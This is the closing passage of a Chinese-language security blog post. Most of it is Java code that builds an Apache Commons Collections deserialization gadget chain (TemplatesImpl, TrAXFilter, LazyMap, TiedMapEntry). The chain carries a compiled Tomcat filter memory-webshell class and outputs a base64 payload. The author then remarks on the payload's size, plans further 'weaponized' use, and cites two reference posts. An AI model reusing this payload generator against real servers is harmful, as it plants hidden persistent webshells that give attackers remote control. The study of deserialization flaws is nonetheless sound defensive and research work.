Files.readAllBytes(Paths.get("H://javasecurity/CC1/untitled/target/classes/org/New/shellfilter/Filtermemshell.class" )); Field bytecodesField=tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code= bytes; byte [][] codes={code}; bytecodesField.set(templates,codes); Field tfactoryField = tc.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer=new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}); Transformer[] transformer=new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformer); HashMap<Object,Object> map=new HashMap <>(); Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer (1 )); TiedMapEntry tiedMapeEntry=new TiedMapEntry (lazymap,"aaa" ); HashMap<Object,Object> hashMap= new HashMap <>(); hashMap.put(tiedMapeEntry,"bbb" ); lazymap.remove("aaa" ); Class c=LazyMap.class; Field factoryField=c.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazymap,chainedTransformer); ByteArrayOutputStream byteArrayOutputStream=Serial(hashMap); String payload= Base64Encode(byteArrayOutputStream); } private static ByteArrayOutputStream Serial (Map hashMap) throws Exception{ ByteArrayOutputStream bs = new ByteArrayOutputStream (); ObjectOutputStream out = new ObjectOutputStream (bs); out.writeObject(hashMap); return bs; } private static String Base64Encode (ByteArrayOutputStream bs) { byte [] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String (encode); System.out.println(URLEncoder.encode(s)); System.out.println(s.length()); return s; } }
单论整体的获取下来,总结 14000 多字节的 payload 很恐怖啊,所以后续的武器化利用时我会和 yyjccc 师傅讨论一下这一点。但这篇理论基础就到这了,希望能够帮到师傅们解决一些问题
参考 https://goodapple.top/archives/1355 https://boogipop.com/2023/03/02/Tomcat%E5%86%85%E5%AD%98%E9%A9%AC%E5%9B%9E%E6%98%BE%E6%8A%80%E6%9C%AF/#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%89%93%E5%85%A5Servlet%E5%86%85%E5%AD%98%E9%A9%AC 两位师傅的文章主要是用来对比 POC 以及大致思路的一个构造,文章逻辑和细节可能不太相同,但还是膜了(